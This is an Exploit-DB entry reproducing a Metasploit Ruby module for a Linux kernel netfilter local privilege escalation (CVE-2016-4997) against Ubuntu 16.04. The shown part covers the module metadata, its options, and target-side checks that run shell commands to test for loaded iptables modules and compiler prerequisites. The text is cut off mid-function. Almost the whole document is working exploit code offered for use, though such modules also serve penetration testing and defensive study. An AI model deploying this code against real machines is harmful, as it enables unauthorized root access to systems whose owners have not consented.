Exploit-DB #40435
Description: Linux Kernel 4.6.3 (x86) - 'Netfilter' Local Privilege Escalation (Metasploit)
Type: local
Platform: linux_x86
Date: 2016-09-27
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
        'Description'    => %q{
          This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently
          only works against Ubuntu 16.04 (not 16.04.1) with kernel
          4.4.0-21-generic.
          Several conditions have to be met for successful exploitation:
          Ubuntu:
          1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
          2. libc6-dev-i386 (ubuntu), glibc-devel.i686  & libgcc.i686 (fedora) needs to be installed to compile
          Kernel 4.4.0-31-generic and newer are not vulnerable.

          We write the ascii files and compile on target instead of locally since metasm bombs for not
          having cdefs.h (even if locally installed)
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <mike@stcyrsecurity.com>',  # Module
            'vnik'                         # Discovery
          ],
        'DisclosureDate' => 'Jun 03 2016',
        'Platform'       => [ 'linux'],
        'Arch'           => [ ARCH_X86 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        =>
          [
            [ 'Ubuntu', { } ]
            #[ 'Fedora', { } ]
          ],
        'DefaultTarget'  => 0,
        'References'     =>
          [
            [ 'EDB', '40049'],
            [ 'CVE', '2016-4997'],
            [ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']
          ]
      ))
    register_options(
      [
        OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
        OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
        OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
      ], self.class)
  end

  def check
    def iptables_loaded?()
      # user@ubuntu:~$ cat /proc/modules | grep ip_tables
      # ip_tables 28672 1 iptable_filter, Live 0x[PII_REDACTED]000000
      # x_tables 36864 2 iptable_filter,ip_tables, Live 0x[PII_REDACTED]000000
      vprint_status('Checking if ip_tables is loaded in kernel')
      if target.name == "Ubuntu"
        iptables = cmd_exec('cat /proc/modules | grep ip_tables')
        if iptables.include?('ip_tables')
          vprint_good('ip_tables.ko is loaded')
        else
          print_error('ip_tables.ko is not loaded.  root needs to run iptables -L or similar command')
        end
        return iptables.include?('ip_tables')
      elsif target.name == "Fedora"
        iptables = cmd_exec('cat /proc/modules | grep iptable_raw')
        if iptables.include?('iptable_raw')
          vprint_good('iptable_raw is loaded')
        else
          print_error('iptable_raw is not loaded.  root needs to run iptables -L or similar command')
        end
        return iptables.include?('iptable_raw')
      else
        return false
      end
    end

    def shemsham_installed?()
      # we want this to be false.
      vprint_status('Checking if shem or sham are installed')
      shemsham = cmd_exec('cat /proc/cpuinfo')
      if shemsham.include?('shem')
        print_error('shem installed, system not vulnerable.')
      elsif shemsham.include?('sham')
        print_error('sham installed, system not vulnerable.')
      else
        vprint_good('shem and sham not present.')
      end
      return (shemsham.include?('shem') or shemsham.include?('sham'))
    end

    if iptables_loaded?() and not shemsham_installed?()
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def exploit
    # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
    def has_prereqs?()
      vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
      if target.name == "Ubuntu"
        lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
        if lib.include?('install')
          vprint_good('libc6-dev-i386 is installed')
        else
          print_error('libc6-dev-i386 is not installed.  Compiling will fail.')
        end
        multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
        if multilib.include?('install')
          vprint_good('gcc-multilib is installed')
        else
          print_error('gcc-multilib is not installed.  Compiling will fail.')
        end
        gcc = cmd_exec('which gcc')
        if gcc.include?('gcc')
          vprint_good('gcc is installed')
        else
          print_error('gcc is not installed.  Compiling will fail.')
        end
        return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')
      elsif target.name == "Fedora"
        lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
        if lib.include?('glibc')
          vprint_good('glibc-devel.i686 is installed')
        else
          print_error('glibc-devel.i686 is not installed.  Compiling will fail.')
        end
        if lib.include?('libgcc')
          vprint_good('libgcc.i686 is installed')
        else
          print_error('libgcc.i686 is not installed.  Com